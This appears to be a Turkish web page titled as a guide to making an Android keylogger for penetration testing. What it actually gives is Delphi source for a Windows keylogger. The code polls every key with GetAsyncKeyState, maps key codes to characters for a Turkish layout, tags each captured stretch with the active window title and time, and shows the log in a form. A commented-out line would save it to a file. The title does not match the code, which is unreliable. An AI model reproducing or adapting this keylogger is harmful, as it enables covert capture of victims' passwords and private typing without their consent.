Sızma Testleri android keylogger nasıl yapılır

ss:string; Current_App:String;
implementation
{$R *.dfm}
procedure TForm1.Timer1Timer(Sender: TObject);
var
i:integer;
handler:THandle;
caption : array[0..80] of Char;
begin
for i:=8 To 255 do
begin
if GetAsyncKeyState(i)=-32767 then
case i of
17 : ss := ss + ' [Ctrl] ';
18 : ss := ss + ' [Alt] ';
8 : ss := ss + ' ';
9 : ss := ss + ' [TAB] ';
20 : ss := ss + ' [CapsLock] ';
21 : ss := ss + ' [CapsLock] ';
13 : ss := ss + ' [Enter] '+#13#10;
27 : ss := ss + '[Escape]';
32 : ss := ss + ' ';
33 : ss := ss + ' [PageUp] ';
34 : ss := ss + ' [PageDown] ';
35 : ss := ss + ' [End] ';
36 : ss := ss + ' [Home] ';
37 : ss := ss + ' [OK:Sol] ';
38 : ss := ss + ' [OK:Yukarı] ';
39 : ss := ss + ' [OK:Sağ] ';
44 : ss := ss + ' [PrintScreen] ';
40 : ss := ss + ' [OK:Aşağı] ';
45 : ss := ss + ' [İnsert] ';
46 : ss := ss + ' [Delete] ';
144 : ss := ss + ' [NumLock] ';
145 : ss := ss + ' [ScrollLock] ';
$10 : ss := ss + ' [Shift] ';
//üstteki rakamlar
48 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '='
else if GetKeyState(18) < 0 then
ss:=ss+'}'
else
ss := ss + '0';
223: if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '?'
else if GetKeyState(18) < 0 then
ss := ss + '\'
else ss := ss + '*';
49 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '!'
else if GetKeyState(18) < 0 then
ss := ss + '>'
else
ss := ss + '1';
50 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + ''''
else if GetKeyState(18) < 0 then
ss := ss + '£'
else
ss := ss + '2';
51 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '^'
else if GetKeyState(18) < 0 then
ss := ss + '#'
else
ss := ss + '3';
52 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '+'
else if GetKeyState(18) < 0 then
ss := ss + '$'
else
ss := ss + '4';
53 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '%'
else if GetKeyState(18) < 0 then
ss := ss + '½'
else
ss := ss + '5';
54 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '&'
else
ss := ss + '6';
55 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '/'
else if GetKeyState(18) < 0 then
ss := ss + '{'
else
ss := ss + '7';
57 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + ')'
else if GetKeyState(18) < 0 then
ss := ss + ']'
else
ss := ss + '9';
//...
56 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '('
else if GetKeyState(18) < 0 then
ss := ss + '['
else
ss := ss + '8';
65..90 : //a-z,A-Z
if Odd(GetKeyState(VK_CAPITAL)) then
if GetKeyState(VK_SHIFT) < 0 then
ss := ss + LowerCase(Chr(i))
else
ss := ss + UpperCase(Chr(i))
else
if GetKeyState(VK_SHIFT) < 0 then
ss := ss + UpperCase(Chr(i))
else
ss := ss + LowerCase(Chr(i));
//NUMPAD
96 : ss := ss + '0';
97 : ss := ss + '1';
98 : ss := ss + '2';
99 : ss := ss + '3';
100 : ss := ss + '4';
101 : ss := ss + '5';
102 : ss := ss + '6';
103 : ss := ss + '7';
104 : ss := ss + '8';
105 : ss := ss + '9';
106 : ss := ss + '*';
107 : ss := ss + '+';
109 : ss := ss + '-';
110 : ss := ss + ',';
111 : ss := ss + '/';
112..123 :
//F1-F12
ss := ss + '[F' + IntToStr(i - 111) + ']';
186 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + 'ş'
else ss := ss + 'ş';
187 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '+'
else ss := ss + '=';
188 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + ';'
else ss := ss + ',';
189 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '_'
else if GetKeyState(18) < 0 then
ss := ss + '|'
else
ss := ss + '-';
190 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + ':'
else ss := ss + '.';
191 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + 'ö'
else ss := ss + 'ö';
192 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + 'é'
else ss := ss + '"';
219 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + 'Ğ'
else ss := ss + 'ğ';
220 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '|'
else ss := ss + '';
221 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + 'ü'
else ss := ss + 'ü';
222 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + 'i'
else ss := ss + 'i';
226 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '>'
else ss := ss + '<';

end;
end;
handler := GetForegroundWindow;
GetWindowText(handler,caption, 80);
if (caption<>Current_App)and(caption<>'') then
begin
Current_App := caption;
ss := ss+#13#10'['+caption+']-['+TimeToStr(Now)+']'+#13#10;
end;
Memo1.Lines.Clear;
Memo1.Lines.Add(ss);
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
//memo1.Lines.SaveToFile('c:/deneme.txt');
end;